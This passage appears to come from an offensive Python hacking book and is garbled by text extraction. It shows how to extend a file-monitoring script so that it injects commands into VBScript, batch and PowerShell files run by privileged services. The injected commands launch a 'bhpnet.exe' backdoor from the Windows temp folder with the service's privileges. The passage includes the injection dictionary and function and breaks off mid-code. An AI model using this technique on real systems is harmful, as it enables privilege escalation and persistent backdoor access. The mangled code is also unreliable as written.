now that we can monitor processes and file locationslet' take look at being able to automatically inject code into target files the most common scripting languages 've seen employed are vbscriptbatch filesand powershell we'll create very simple code snippets that spawn compiled version of our bhpnet py tool with the privilege level of the originating service there are vast array of nasty things you can do with these scripting languages;[ we'll create the general framework to do soand you can run wild from there let' modify our file_monitor py script and add the following code after the file modification constantsfile_types {command " :\\windows\\temp\\bhpnet exe - - -cfile_types[vbs'["\ \ 'bhpmarker\ \ ","\ \ncreateobject(\"wscript shell\"run(\"% \")\ \ncommandfile_types[bat'["\ \nrem bhpmarker\ \ ","\ \ % \ \ncommandfile_types[ps '["\ \ #bhpmarker","start-process \"% \"\ \ncommandfunction to handle the code injection def inject_code(full_filename,extension,contents)is our marker already in the fileif file_types[extension][ in contentsreturn no markerlet' inject the marker and code full_contents file_types[extension][ full_contents +file_types[extension][ full_contents +contents fd open(full_filename,"wb"fd write(full_contentsfd close(print "[\ /injected code return we start by defining dictionary of code snippets that match particular file extension that includes unique marker and the code we want to inject the reason we use marker is because we can get into an infinite loop whereby we see file modificationwe insert our code (which causes subsequent file modification event)and so forth this continues until the file gets gigantic and the hard drive begins to cry the next piece of code is our inject_code function that handles the actual code injection and file marker checking after we verify that the marker doesn' exist we write out the marker and the code we want the target process to run now we need to modify our main event loop to include our file extension check and the call to inject_code --snip-elif action =file_modifiedprint "modified %sfull_filename dump out the file contents print "[vvvdumping contents tryfd open(full_filename,"rb"contents fd read(fd close(